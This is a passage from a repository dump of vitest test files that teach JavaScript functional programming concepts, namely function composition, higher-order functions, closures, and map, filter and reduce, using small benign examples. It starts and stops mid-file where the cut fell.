demonstrate the opening composition example', () => {\n        const getName = obj => obj.name\n        const trim = str => str.trim()\n        const capitalize = str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()\n\n        // Composition: chain functions together\n        const process = pipe(\n          getName,\n          trim,\n          capitalize\n        )\n        \n        expect(process({ name: \"  alice  \" })).toBe(\"Alice\")\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functional-programming/higher-order-functions/higher-order-functions.test.js",
    "content": "import { describe, it, expect, vi } from 'vitest'\n\ndescribe('Higher-Order Functions', () => {\n  describe('Functions that accept functions as arguments', () => {\n    it('should execute the passed function', () => {\n      const mockFn = vi.fn()\n      \n      function doTwice(action) {\n        action()\n        action()\n      }\n      \n      doTwice(mockFn)\n      \n      expect(mockFn).toHaveBeenCalledTimes(2)\n    })\n\n    it('should repeat an action n times', () => {\n      const results = []\n      \n      function repeat(times, action) {\n        for (let i = 0; i < times; i++) {\n          action(i)\n        }\n      }\n      \n      repeat(5, i => results.push(i))\n      \n      expect(results).toEqual([0, 1, 2, 3, 4])\n    })\n\n    it('should apply different logic with the same structure', () => {\n      function calculate(numbers, operation) {\n        const result = []\n        for (const num of numbers) {\n          result.push(operation(num))\n        }\n        return result\n      }\n      \n      const numbers = [1, 2, 3, 4, 5]\n      \n      const doubled = calculate(numbers, n => n * 2)\n      const squared = calculate(numbers, n => n * n)\n      const incremented = calculate(numbers, n => n + 1)\n      \n      expect(doubled).toEqual([2, 4, 6, 8, 10])\n      expect(squared).toEqual([1, 4, 9, 16, 25])\n      expect(incremented).toEqual([2, 3, 4, 5, 6])\n    })\n\n    it('should implement unless as a control flow abstraction', () => {\n      const results = []\n      \n      function unless(condition, action) {\n        if (!condition) {\n          action()\n        }\n      }\n      \n      for (let i = 0; i < 5; i++) {\n        unless(i % 2 === 1, () => results.push(i))\n      }\n      \n      expect(results).toEqual([0, 2, 4])\n    })\n\n    it('should calculate circle properties using formulas', () => {\n      function calculate(radii, formula) {\n        const result = []\n        for (const radius of radii) {\n          result.push(formula(radius))\n        }\n        return result\n      }\n      \n      const area = r => Math.PI * r * r\n      const circumference = r => 2 * Math.PI * r\n      const diameter = r => 2 * r\n      const volume = r => (4/3) * Math.PI * r * r * r\n      \n      const radii = [1, 2, 3]\n      \n      // Test area: π * r²\n      const areas = calculate(radii, area)\n      expect(areas[0]).toBeCloseTo(Math.PI, 5)           // π * 1² = π\n      expect(areas[1]).toBeCloseTo(4 * Math.PI, 5)       // π * 2² = 4π\n      expect(areas[2]).toBeCloseTo(9 * Math.PI, 5)       // π * 3² = 9π\n      \n      // Test circumference: 2πr\n      const circumferences = calculate(radii, circumference)\n      expect(circumferences[0]).toBeCloseTo(2 * Math.PI, 5)     // 2π * 1\n      expect(circumferences[1]).toBeCloseTo(4 * Math.PI, 5)     // 2π * 2\n      expect(circumferences[2]).toBeCloseTo(6 * Math.PI, 5)     // 2π * 3\n      \n      // Test diameter: 2r\n      const diameters = calculate(radii, diameter)\n      expect(diameters).toEqual([2, 4, 6])\n      \n      // Test volume: (4/3)πr³\n      const volumes = calculate(radii, volume)\n      expect(volumes[0]).toBeCloseTo((4/3) * Math.PI, 5)        // (4/3)π * 1³\n      expect(volumes[1]).toBeCloseTo((4/3) * Math.PI * 8, 5)    // (4/3)π * 2³\n      expect(volumes[2]).toBeCloseTo((4/3) * Math.PI * 27, 5)   // (4/3)π * 3³\n    })\n  })\n\n  describe('Functions that return functions', () => {\n    it('should create a greaterThan comparator', () => {\n      function greaterThan(n) {\n        return function(m) {\n          return m > n\n        }\n      }\n      \n      const greaterThan10 = greaterThan(10)\n      const greaterThan100 = greaterThan(100)\n      \n      expect(greaterThan10(11)).toBe(true)\n      expect(greaterThan10(5)).toBe(false)\n      expect(greaterThan10(10)).toBe(false)\n      expect(greaterThan100(150)).toBe(true)\n      expect(greaterThan100(50)).toBe(false)\n    })\n\n    it('should create multiplier functions', () => {\n      function multiplier(factor) {\n        return number => number * factor\n      }\n      \n      const double = multiplier(2)\n      const triple = multiplier(3)\n      const tenX = multiplier(10)\n      \n      expect(double(5)).toBe(10)\n      expect(triple(5)).toBe(15)\n      expect(tenX(5)).toBe(50)\n      expect(double(0)).toBe(0)\n      expect(triple(-3)).toBe(-9)\n    })\n\n    it('should wrap functions with logging behavior', () => {\n      const logs = []\n      \n      function noisy(fn) {\n        return function(...args) {\n          logs.push({ type: 'call', args })\n          const result = fn(...args)\n          logs.push({ type: 'return', result })\n          return result\n        }\n      }\n      \n      const noisyMax = noisy(Math.max)\n      const result = noisyMax(3, 1, 4, 1, 5)\n      \n      expect(result).toBe(5)\n      expect(logs).toEqual([\n        { type: 'call', args: [3, 1, 4, 1, 5] },\n        { type: 'return', result: 5 }\n      ])\n    })\n\n    it('should wrap Math.floor with noisy', () => {\n      const logs = []\n      \n      function noisy(fn) {\n        return function(...args) {\n          logs.push({ type: 'call', args })\n          const result = fn(...args)\n          logs.push({ type: 'return', result })\n          return result\n        }\n      }\n      \n      const noisyFloor = noisy(Math.floor)\n      const result = noisyFloor(4.7)\n      \n      expect(result).toBe(4)\n      expect(logs).toEqual([\n        { type: 'call', args: [4.7] },\n        { type: 'return', result: 4 }\n      ])\n    })\n\n    it('should create greeting functions with createGreeter', () => {\n      function createGreeter(greeting) {\n        return function(name) {\n          return `${greeting}, ${name}!`\n        }\n      }\n      \n      const sayHello = createGreeter('Hello')\n      const sayGoodbye = createGreeter('Goodbye')\n      \n      expect(sayHello('Alice')).toBe('Hello, Alice!')\n      expect(sayHello('Bob')).toBe('Hello, Bob!')\n      expect(sayGoodbye('Alice')).toBe('Goodbye, Alice!')\n    })\n\n    it('should allow direct factory invocation', () => {\n      function multiplier(factor) {\n        return number => number * factor\n      }\n      \n      // Direct invocation without storing intermediate function\n      expect(multiplier(7)(3)).toBe(21)\n      expect(multiplier(2)(10)).toBe(20)\n      expect(multiplier(0.5)(100)).toBe(50)\n    })\n  })\n\n  describe('Function factories', () => {\n    it('should create validator functions', () => {\n      function createValidator(min, max) {\n        return function(value) {\n          return value >= min && value <= max\n        }\n      }\n      \n      const isValidAge = createValidator(0, 120)\n      const isValidPercentage = createValidator(0, 100)\n      \n      expect(isValidAge(25)).toBe(true)\n      expect(isValidAge(150)).toBe(false)\n      expect(isValidAge(-5)).toBe(false)\n      expect(isValidPercentage(50)).toBe(true)\n      expect(isValidPercentage(101)).toBe(false)\n    })\n\n    it('should create formatter functions', () => {\n      function createFormatter(prefix, suffix) {\n        return function(value) {\n          return `${prefix}${value}${suffix}`\n        }\n      }\n      \n      const formatDollars = createFormatter('$', '')\n      const formatPercent = createFormatter('', '%')\n      const formatParens = createFormatter('(', ')')\n      \n      expect(formatDollars(99.99)).toBe('$99.99')\n      expect(formatPercent(75)).toBe('75%')\n      expect(formatParens('aside')).toBe('(aside)')\n    })\n\n    it('should implement partial application', () => {\n      function partial(fn, ...presetArgs) {\n        return function(...laterArgs) {\n          return fn(...presetArgs, ...laterArgs)\n        }\n      }\n      \n      function greet(greeting, punctuation, name) {\n        return `${greeting}, ${name}${punctuation}`\n      }\n      \n      const sayHello = partial(greet, 'Hello', '!')\n      const askHowAreYou = partial(greet, 'How are you', '?')\n      \n      expect(sayHello('Alice')).toBe('Hello, Alice!')\n      expect(sayHello('Bob')).toBe('Hello, Bob!')\n      expect(askHowAreYou('Charlie')).toBe('How are you, Charlie?')\n    })\n\n    it('should create rating validator', () => {\n      function createValidator(min, max) {\n        return function(value) {\n          return value >= min && value <= max\n        }\n      }\n      \n      // Rating from 1 to 5 stars\n      const isValidRating = createValidator(1, 5)\n      \n      expect(isValidRating(3)).toBe(true)\n      expect(isValidRating(1)).toBe(true)    // At min\n      expect(isValidRating(5)).toBe(true)    // At max\n      expect(isValidRating(0)).toBe(false)   // Below min\n      expect(isValidRating(6)).toBe(false)   // Above max\n    })\n  })\n\n  describe('Closures with higher-order functions', () => {\n    it('should create independent counters', () => {\n      function createCounter(start = 0) {\n        let count = start\n        return function() {\n          count++\n          return count\n        }\n      }\n      \n      const counter1 = createCounter()\n      const counter2 = createCounter(100)\n      \n      expect(counter1()).toBe(1)\n      expect(counter1()).toBe(2)\n      expect(counter1()).toBe(3)\n      \n      expect(counter2()).toBe(101)\n      expect(counter2()).toBe(102)\n      \n      // counter1 should not be affected by counter2\n      expect(counter1()).toBe(4)\n    })\n\n    it('should create private state with closures', () => {\n      function createBankAccount(initialBalance) {\n        let balance = initialBalance\n        \n        return {\n          deposit(amount) {\n            if (amount > 0) {\n              balance += amount\n              return balance\n            }\n            return balance\n          },\n          withdraw(amount) {\n            if (amount > 0 && amount <= balance) {\n              balance -= amount\n              return balance\n            }\n            return 'Insufficient funds'\n          },\n          getBalance() {\n            return balance\n          }\n        }\n      }\n      \n      const account = createBankAccount(100)\n      \n      expect(account.getBalance()).toBe(100)\n      expect(account.deposit(50)).toBe(150)\n      expect(account.withdraw(30)).toBe(120)\n      expect(account.withdraw(200)).toBe('Insufficient funds')\n      expect(account.getBalance()).toBe(120)\n      \n      // balance is not directly accessible\n      expect(account.balance).toBeUndefined()\n    })\n  })\n\n  describe('Common mistakes', () => {\n    it('should demonstrate the parseInt gotcha with map', () => {\n      // This is the WRONG way - demonstrates the bug\n      const buggyResult = ['1', '2', '3'].map(parseInt)\n      \n      // parseInt receives (string, index) from map\n      // parseInt('1', 0) → 1 (radix 0 is treated as 10)\n      // parseInt('2', 1) → NaN (radix 1 is invalid)\n      // parseInt('3', 2) → NaN (3 is not valid in binary)\n      expect(buggyResult).toEqual([1, NaN, NaN])\n      \n      // The CORRECT way\n      const correctResult = ['1', '2', '3'].map(str => parseInt(str, 10))\n      expect(correctResult).toEqual([1, 2, 3])\n      \n      // Alternative correct way using Number\n      const alternativeResult = ['1', '2', '3'].map(Number)\n      expect(alternativeResult).toEqual([1, 2, 3])\n    })\n\n    it('should demonstrate losing this context', () => {\n      const user = {\n        name: 'Alice',\n        greet() {\n          // Using optional chaining to handle undefined 'this' safely\n          return `Hello, I'm ${this?.name ?? 'undefined'}`\n        }\n      }\n      \n      // Direct call works\n      expect(user.greet()).toBe(\"Hello, I'm Alice\")\n      \n      // Passing as callback loses 'this'\n      function callLater(fn) {\n        return fn()\n      }\n      \n      // This fails because 'this' is lost (undefined in strict mode)\n      const lostThis = callLater(user.greet)\n      expect(lostThis).toBe(\"Hello, I'm undefined\")\n      \n      // Fix with bind\n      const boundGreet = callLater(user.greet.bind(user))\n      expect(boundGreet).toBe(\"Hello, I'm Alice\")\n      \n      // Fix with arrow function wrapper\n      const wrappedGreet = callLater(() => user.greet())\n      expect(wrappedGreet).toBe(\"Hello, I'm Alice\")\n    })\n\n    it('should show difference between map and forEach return values', () => {\n      const numbers = [1, 2, 3]\n      \n      // map returns a new array\n      const mapResult = numbers.map(n => n * 2)\n      expect(mapResult).toEqual([2, 4, 6])\n      \n      // forEach returns undefined\n      const forEachResult = numbers.forEach(n => n * 2)\n      expect(forEachResult).toBeUndefined()\n    })\n  })\n\n  describe('First-class functions', () => {\n    it('should allow assigning functions to variables', () => {\n      const greet = function(name) {\n        return `Hello, ${name}!`\n      }\n      \n      const add = (a, b) => a + b\n      \n      expect(greet('Alice')).toBe('Hello, Alice!')\n      expect(add(2, 3)).toBe(5)\n    })\n\n    it('should allow passing functions as arguments', () => {\n      function callWith5(fn) {\n        return fn(5)\n      }\n      \n      expect(callWith5(n => n * 2)).toBe(10)\n      expect(callWith5(n => n + 3)).toBe(8)\n      expect(callWith5(Math.sqrt)).toBeCloseTo(2.236, 2)\n    })\n\n    it('should allow returning functions from functions', () => {\n      function createAdder(x) {\n        return function(y) {\n          return x + y\n        }\n      }\n      \n      const add5 = createAdder(5)\n      const add10 = createAdder(10)\n      \n      expect(add5(3)).toBe(8)\n      expect(add10(3)).toBe(13)\n    })\n  })\n\n  describe('Built-in higher-order functions (overview)', () => {\n    const numbers = [1, 2, 3, 4, 5]\n\n    it('should use forEach for side effects', () => {\n      const results = []\n      const returnValue = numbers.forEach(n => results.push(n * 2))\n      \n      expect(results).toEqual([2, 4, 6, 8, 10])\n      expect(returnValue).toBeUndefined()\n    })\n\n    it('should use map for transformations', () => {\n      const doubled = numbers.map(n => n * 2)\n      \n      expect(doubled).toEqual([2, 4, 6, 8, 10])\n      expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged\n    })\n\n    it('should use filter for selection', () => {\n      const evens = numbers.filter(n => n % 2 === 0)\n      const greaterThan3 = numbers.filter(n => n > 3)\n      \n      expect(evens).toEqual([2, 4])\n      expect(greaterThan3).toEqual([4, 5])\n    })\n\n    it('should use reduce for accumulation', () => {\n      const sum = numbers.reduce((acc, n) => acc + n, 0)\n      const product = numbers.reduce((acc, n) => acc * n, 1)\n      \n      expect(sum).toBe(15)\n      expect(product).toBe(120)\n    })\n\n    it('should use find to get first matching element', () => {\n      const firstEven = numbers.find(n => n % 2 === 0)\n      const firstGreaterThan10 = numbers.find(n => n > 10)\n      \n      expect(firstEven).toBe(2)\n      expect(firstGreaterThan10).toBeUndefined()\n    })\n\n    it('should use some to test if any element matches', () => {\n      const hasEven = numbers.some(n => n % 2 === 0)\n      const hasNegative = numbers.some(n => n < 0)\n      \n      expect(hasEven).toBe(true)\n      expect(hasNegative).toBe(false)\n    })\n\n    it('should use every to test if all elements match', () => {\n      const allPositive = numbers.every(n => n > 0)\n      const allEven = numbers.every(n => n % 2 === 0)\n      \n      expect(allPositive).toBe(true)\n      expect(allEven).toBe(false)\n    })\n\n    it('should use sort with a comparator function', () => {\n      const unsorted = [3, 1, 4, 1, 5, 9, 2, 6]\n      \n      // Ascending order\n      const ascending = [...unsorted].sort((a, b) => a - b)\n      expect(ascending).toEqual([1, 1, 2, 3, 4, 5, 6, 9])\n      \n      // Descending order\n      const descending = [...unsorted].sort((a, b) => b - a)\n      expect(descending).toEqual([9, 6, 5, 4, 3, 2, 1, 1])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functional-programming/map-reduce-filter/map-reduce-filter.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('map, reduce, filter', () => {\n  \n  describe('map()', () => {\n    it('should transform every element in the array', () => {\n      const numbers = [1, 2, 3, 4]\n      const doubled = numbers.map(n => n * 2)\n      \n      expect(doubled).toEqual([2, 4, 6, 8])\n    })\n    \n    it('should not mutate the original array', () => {\n      const original = [1, 2, 3]\n      const mapped = original.map(n => n * 10)\n      \n      expect(original).toEqual([1, 2, 3])\n      expect(mapped).toEqual([10, 20, 30])\n    })\n    \n    it('should pass element, index, and array to callback', () => {\n      const letters = ['a', 'b', 'c']\n      const result = letters.map((letter, index, arr) => ({\n        letter,\n        index,\n        arrayLength: arr.length\n      }))\n      \n      expect(result).toEqual([\n        { letter: 'a', index: 0, arrayLength: 3 },\n        { letter: 'b', index: 1, arrayLength: 3 },\n        { letter: 'c', index: 2, arrayLength: 3 }\n      ])\n    })\n    \n    it('should return undefined for elements when callback has no return', () => {\n      const numbers = [1, 2, 3]\n      const result = numbers.map(n => {\n        n * 2  // No return statement\n      })\n      \n      expect(result).toEqual([undefined, undefined, undefined])\n    })\n    \n    it('demonstrates the parseInt pitfall', () => {\n      const strings = ['1', '2', '3']\n      \n      // The pitfall: parseInt receives (element, index, array)\n      // So it becomes parseInt('1', 0), parseInt('2', 1), parseInt('3', 2)\n      const wrongResult = strings.map(parseInt)\n      expect(wrongResult).toEqual([1, NaN, NaN])\n      \n      // The fix: wrap in arrow function or use Number\n      const correctResult1 = strings.map(str => parseInt(str, 10))\n      expect(correctResult1).toEqual([1, 2, 3])\n      \n      const correctResult2 = strings.map(Number)\n      expect(correctResult2).toEqual([1, 2, 3])\n    })\n    \n    it('should extract properties from objects', () => {\n      const users = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' }\n      ]\n      \n      const names = users.map(user => user.name)\n      expect(names).toEqual(['Alice', 'Bob'])\n    })\n    \n    it('should transform object shapes', () => {\n      const users = [\n        { firstName: 'Alice', lastName: 'Smith' },\n        { firstName: 'Bob', lastName: 'Jones' }\n      ]\n      \n      const fullNames = users.map(user => ({\n        fullName: `${user.firstName} ${user.lastName}`\n      }))\n      \n      expect(fullNames).toEqual([\n        { fullName: 'Alice Smith' },\n        { fullName: 'Bob Jones' }\n      ])\n    })\n    \n    it('should convert strings to uppercase', () => {\n      const words = ['hello', 'world']\n      const shouting = words.map(word => word.toUpperCase())\n      \n      expect(shouting).toEqual(['HELLO', 'WORLD'])\n    })\n    \n    it('should square each number', () => {\n      const numbers = [1, 2, 3, 4, 5]\n      const squares = numbers.map(n => n * n)\n      \n      expect(squares).toEqual([1, 4, 9, 16, 25])\n    })\n    \n    it('should add index prefix to each letter', () => {\n      const letters = ['a', 'b', 'c', 'd']\n      const indexed = letters.map((letter, index) => `${index}: ${letter}`)\n      \n      expect(indexed).toEqual(['0: a', '1: b', '2: c', '3: d'])\n    })\n    \n    it('should create objects with sequential IDs from items', () => {\n      const items = ['apple', 'banana', 'cherry']\n      const products = items.map((name, index) => ({\n        id: index + 1,\n        name\n      }))\n      \n      expect(products).toEqual([\n        { id: 1, name: 'apple' },\n        { id: 2, name: 'banana' },\n        { id: 3, name: 'cherry' }\n      ])\n    })\n  })\n  \n  describe('filter()', () => {\n    it('should keep elements that pass the test', () => {\n      const numbers = [1, 2, 3, 4, 5, 6]\n      const evens = numbers.filter(n => n % 2 === 0)\n      \n      expect(evens).toEqual([2, 4, 6])\n    })\n    \n    it('should return empty array when no elements match', () => {\n      const numbers = [1, 3, 5, 7]\n      const evens = numbers.filter(n => n % 2 === 0)\n      \n      expect(evens).toEqual([])\n    })\n    \n    it('should not mutate the original array', () => {\n      const original = [1, 2, 3, 4, 5]\n      const filtered = original.filter(n => n > 3)\n      \n      expect(original).toEqual([1, 2, 3, 4, 5])\n      expect(filtered).toEqual([4, 5])\n    })\n    \n    it('should evaluate truthy/falsy values correctly', () => {\n      const mixed = [0, 1, '', 'hello', null, undefined, false, true]\n      const truthy = mixed.filter(Boolean)\n      \n      expect(truthy).toEqual([1, 'hello', true])\n    })\n    \n    it('should filter objects by property', () => {\n      const users = [\n        { name: 'Alice', active: true },\n        { name: 'Bob', active: false },\n        { name: 'Charlie', active: true }\n      ]\n      \n      const activeUsers = users.filter(user => user.active)\n      \n      expect(activeUsers).toEqual([\n        { name: 'Alice', active: true },\n        { name: 'Charlie', active: true }\n      ])\n    })\n    \n    it('demonstrates filter vs find', () => {\n      const numbers = [1, 2, 3, 4, 5, 6]\n      \n      // filter returns ALL matches as an array\n      const allEvens = numbers.filter(n => n % 2 === 0)\n      expect(allEvens).toEqual([2, 4, 6])\n      \n      // find returns the FIRST match (not an array)\n      const firstEven = numbers.find(n => n % 2 === 0)\n      expect(firstEven).toBe(2)\n    })\n    \n    it('should support multiple conditions', () => {\n      const products = [\n        { name: 'Laptop', price: 1000, inStock: true },\n        { name: 'Phone', price: 500, inStock: false },\n        { name: 'Tablet', price: 300, inStock: true }\n      ]\n      \n      const affordableInStock = products.filter(\n        p => p.inStock && p.price < 500\n      )\n      \n      expect(affordableInStock).toEqual([\n        { name: 'Tablet', price: 300, inStock: true }\n      ])\n    })\n    \n    it('should keep only odd numbers', () => {\n      const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n      const odds = numbers.filter(n => n % 2 !== 0)\n      \n      expect(odds).toEqual([1, 3, 5, 7, 9])\n    })\n    \n    it('should keep numbers greater than threshold', () => {\n      const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n      const big = numbers.filter(n => n > 5)\n      \n      expect(big).toEqual([6, 7, 8, 9, 10])\n    })\n    \n    it('should keep numbers in a range', () => {\n      const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n      const middle = numbers.filter(n => n >= 3 && n <= 7)\n      \n      expect(middle).toEqual([3, 4, 5, 6, 7])\n    })\n    \n    it('should search products by name case-insensitively', () => {\n      const products = [\n        { name: 'MacBook Pro', category: 'laptops', price: 2000 },\n        { name: 'iPhone', category: 'phones', price: 1000 },\n        { name: 'iPad', category: 'tablets', price: 800 },\n        { name: 'Dell XPS', category: 'laptops', price: 1500 }\n      ]\n      \n      const searchTerm = 'mac'\n      const results = products.filter(p => \n        p.name.toLowerCase().includes(searchTerm.toLowerCase())\n      )\n      \n      expect(results).toEqual([\n        { name: 'MacBook Pro', category: 'laptops', price: 2000 }\n      ])\n    })\n    \n    it('should filter products by category', () => {\n      const products = [\n        { name: 'MacBook Pro', category: 'laptops', price: 2000 },\n        { name: 'iPhone', category: 'phones', price: 1000 },\n        { name: 'iPad', category: 'tablets', price: 800 },\n        { name: 'Dell XPS', category: 'laptops', price: 1500 }\n      ]\n      \n      const laptops = products.filter(p => p.category === 'laptops')\n      \n      expect(laptops).toEqual([\n        { name: 'MacBook Pro', category: 'laptops', price: 2000 },\n        { name: 'Dell XPS', category: 'laptops', price: 1500 }\n      ])\n    })\n    \n    it('should filter products by price range', () => {\n      const products = [\n        { name: 'MacBook Pro', category: 'laptops', price: 2000 },\n        { name: 'iPhone', category: 'phones', price: 1000 },\n        { name: 'iPad', category: 'tablets', price: 800 },\n        { name: 'Dell XPS', category: 'laptops', price: 1500 }\n      ]\n      \n      const affordable = products.filter(p => p.price <= 1000)\n      \n      expect(affordable).toEqual([\n        { name: 'iPhone', category: 'phones', price: 1000 },\n        { name: 'iPad', category: 'tablets', price: 800 }\n      ])\n    })\n  })\n  \n  describe('reduce()', () => {\n    it('should combine array elements into a single value', () => {\n      const numbers = [1, 2, 3, 4, 5]\n      const sum = numbers.reduce((acc, n) => acc + n, 0)\n      \n      expect(sum).toBe(15)\n    })\n    \n    it('should use initial value as starting accumulator', () => {\n      const numbers = [1, 2, 3]\n      const sumStartingAt10 = numbers.reduce((acc, n) => acc + n, 10)\n      \n      expect(sumStartingAt10).toBe(16) // 10 + 1 + 2 + 3\n    })\n    \n    it('should throw on empty array without initial value', () => {\n      const empty = []\n      \n      expect(() => {\n        empty.reduce((acc, n) => acc + n)\n      }).toThrow(TypeError)\n    })\n    \n    it('should return initial value for empty array', () => {\n      const empty = []\n      const result = empty.reduce((acc, n) => acc + n, 0)\n      \n      expect(result).toBe(0)\n    })\n    \n    it('should count occurrences', () => {\n      const fruits = ['apple', 'banana', 'apple', 'orange', 'banana', 'apple']\n      \n      const count = fruits.reduce((acc, fruit) => {\n        acc[fruit] = (acc[fruit] || 0) + 1\n        return acc\n      }, {})\n      \n      expect(count).toEqual({\n        apple: 3,\n        banana: 2,\n        orange: 1\n      })\n    })\n    \n    it('should group by property', () => {\n      const people = [\n        { name: 'Alice', department: 'Engineering' },\n        { name: 'Bob', department: 'Marketing' },\n        { name: 'Charlie', department: 'Engineering' }\n      ]\n      \n      const byDepartment = people.reduce((acc, person) => {\n        const dept = person.department\n        if (!acc[dept]) {\n          acc[dept] = []\n        }\n        acc[dept].push(person.name)\n        return acc\n      }, {})\n      \n      expect(byDepartment).toEqual({\n        Engineering: ['Alice', 'Charlie'],\n        Marketing: ['Bob']\n      })\n    })\n    \n    it('should build objects from arrays', () => {\n      const pairs = [['a', 1], ['b', 2], ['c', 3]]\n      \n      const obj = pairs.reduce((acc, [key, value]) => {\n        acc[key] = value\n        return acc\n      }, {})\n      \n      expect(obj).toEqual({ a: 1, b: 2, c: 3 })\n    })\n    \n    it('can implement map with reduce', () => {\n      const numbers = [1, 2, 3, 4]\n      \n      const doubled = numbers.reduce((acc, n) => {\n        acc.push(n * 2)\n        return acc\n      }, [])\n      \n      expect(doubled).toEqual([2, 4, 6, 8])\n    })\n    \n    it('can implement filter with reduce', () => {\n      const numbers = [1, 2, 3, 4, 5, 6]\n      \n      const evens = numbers.reduce((acc, n) => {\n        if (n % 2 === 0) {\n          acc.push(n)\n        }\n        return acc\n      }, [])\n      \n      expect(evens).toEqual([2, 4, 6])\n    })\n    \n    it('should calculate average', () => {\n      const numbers = [10, 20, 30, 40, 50]\n      \n      const sum = numbers.reduce((acc, n) => acc + n, 0)\n      const average = sum / numbers.length\n      \n      expect(average).toBe(30)\n    })\n    \n    it('should find max value', () => {\n      const numbers = [5, 2, 9, 1, 7]\n      \n      const max = numbers.reduce((acc, n) => n > acc ? n : acc, numbers[0])\n      \n      expect(max).toBe(9)\n    })\n    \n    it('should find minimum value', () => {\n      const numbers = [5, 2, 9, 1, 7]\n      \n      const min = numbers.reduce((acc, n) => n < acc ? n : acc, numbers[0])\n      \n      expect(min).toBe(1)\n    })\n    \n    it('should flatten nested arrays with reduce', () => {\n      const nested = [[1, 2], [3, 4], [5, 6]]\n      \n      const flat = nested.reduce((acc, arr) => acc.concat(arr), [])\n      \n      expect(flat).toEqual([1, 2, 3, 4, 5, 6])\n    })\n    \n    it('should implement myMap using reduce inline', () => {\n      const array = [1, 2, 3]\n      const callback = n => n * 2\n      \n      // myMap implementation from concept page\n      const result = array.reduce((acc, element, index) => {\n        acc.push(callback(element, index, array))\n        return acc\n      }, [])\n      \n      expect(result).toEqual([2, 4, 6])\n    })\n  })\n  \n  describe('Method Chaining', () => {\n    it('should chain filter → map → reduce', () => {\n      const products = [\n        { name: 'Laptop', price: 1000, inStock: true },\n        { name: 'Phone', price: 500, inStock: false },\n        { name: 'Tablet', price: 300, inStock: true },\n        { name: 'Watch', price: 200, inStock: true }\n      ]\n      \n      const totalInStock = products\n        .filter(p => p.inStock)\n        .map(p => p.price)\n        .reduce((sum, price) => sum + price, 0)\n      \n      expect(totalInStock).toBe(1500)\n    })\n    \n    it('demonstrates real-world data pipeline', () => {\n      const transactions = [\n        { type: 'sale', amount: 100 },\n        { type: 'refund', amount: 30 },\n        { type: 'sale', amount: 200 },\n        { type: 'sale', amount: 150 },\n        { type: 'refund', amount: 50 }\n      ]\n      \n      // Calculate total sales (not refunds)\n      const totalSales = transactions\n        .filter(t => t.type === 'sale')\n        .map(t => t.amount)\n        .reduce((sum, amount) => sum + amount, 0)\n      \n      expect(totalSales).toBe(450)\n      \n      // Calculate net (sales - refunds)\n      const net = transactions.reduce((acc, t) => {\n        return t.type === 'sale' \n          ? acc + t.amount \n          : acc - t.amount\n      }, 0)\n      \n      expect(net).toBe(370) // 450 - 80\n    })\n    \n    it('should get active premium users emails', () => {\n      const users = [\n        { email: 'alice@example.com', active: true, plan: 'premium' },\n        { email: 'bob@example.com', active: false, plan: 'premium' },\n        { email: 'charlie@example.com', active: true, plan: 'free' },\n        { email: 'diana@example.com', active: true, plan: 'premium' }\n      ]\n      \n      const premiumEmails = users\n        .filter(u => u.active)\n        .filter(u => u.plan === 'premium')\n        .map(u => u.email)\n      \n      expect(premiumEmails).toEqual([\n        'alice@example.com',\n        'diana@example.com'\n      ])\n    })\n    \n    it('should calculate cart total with discounts', () => {\n      const cart = [\n        { name: 'Laptop', price: 1000, quantity: 1, discountPercent: 10 },\n        { name: 'Mouse', price: 50, quantity: 2, discountPercent: 0 },\n        { name: 'Keyboard', price: 100, quantity: 1, discountPercent: 20 }\n      ]\n\n      const total = cart\n        .map(item => {\n          const subtotal = item.price * item.quantity\n          const discount = subtotal * (item.discountPercent / 100)\n          return subtotal - discount\n        })\n        .reduce((sum, price) => sum + price, 0)\n\n      // Laptop: 1000 * 1 - 10% = 900\n      // Mouse: 50 * 2 - 0% = 100\n      // Keyboard: 100 * 1 - 20% = 80\n      // Total: 900 + 100 + 80 = 1080\n      expect(total).toBe(1080)\n    })\n    \n    it('should get top 3 performers sorted by sales', () => {\n      const salespeople = [\n        { name: 'Alice', sales: 50000 },\n        { name: 'Bob', sales: 75000 },\n        { name: 'Charlie', sales: 45000 },\n        { name: 'Diana', sales: 90000 },\n        { name: 'Eve', sales: 60000 }\n      ]\n\n      const top3 = salespeople\n        .filter(p => p.sales >= 50000)\n        .sort((a, b) => b.sales - a.sales)\n        .slice(0, 3)\n        .map(p => p.name)\n\n      expect(top3).toEqual(['Diana', 'Bob', 'Eve'])\n    })\n  })\n  \n  describe('Other Array Methods', () => {\n    it('find() returns first matching element', () => {\n      const users = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' },\n        { id: 3, name: 'Charlie' }\n      ]\n      \n      const bob = users.find(u => u.id === 2)\n      expect(bob).toEqual({ id: 2, name: 'Bob' })\n      \n      const notFound = users.find(u => u.id === 999)\n      expect(notFound).toBeUndefined()\n    })\n    \n    it('some() returns true if any element matches', () => {\n      const numbers = [1, 2, 3, 4, 5]\n      \n      expect(numbers.some(n => n > 4)).toBe(true)\n      expect(numbers.some(n => n > 10)).toBe(false)\n    })\n    \n    it('every() returns true if all elements match', () => {\n      const numbers = [2, 4, 6, 8]\n      \n      expect(numbers.every(n => n % 2 === 0)).toBe(true)\n      expect(numbers.every(n => n > 5)).toBe(false)\n    })\n    \n    it('includes() checks for value membership', () => {\n      const fruits = ['apple', 'banana', 'orange']\n      \n      expect(fruits.includes('banana')).toBe(true)\n      expect(fruits.includes('grape')).toBe(false)\n    })\n    \n    it('findIndex() returns index of first match', () => {\n      const users = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' }\n      ]\n      \n      const bobIndex = users.findIndex(u => u.name === 'Bob')\n      expect(bobIndex).toBe(1)\n      \n      const notFoundIndex = users.findIndex(u => u.name === 'Eve')\n      expect(notFoundIndex).toBe(-1)\n    })\n    \n    it('flat() flattens nested arrays', () => {\n      const nested = [[1, 2], [3, 4], [5, 6]]\n      expect(nested.flat()).toEqual([1, 2, 3, 4, 5, 6])\n      \n      const deepNested = [1, [2, [3, [4]]]]\n      expect(deepNested.flat(2)).toEqual([1, 2, 3, [4]])\n      expect(deepNested.flat(Infinity)).toEqual([1, 2, 3, 4])\n    })\n    \n    it('flatMap() maps then flattens', () => {\n      const sentences = ['hello world', 'foo bar']\n      const words = 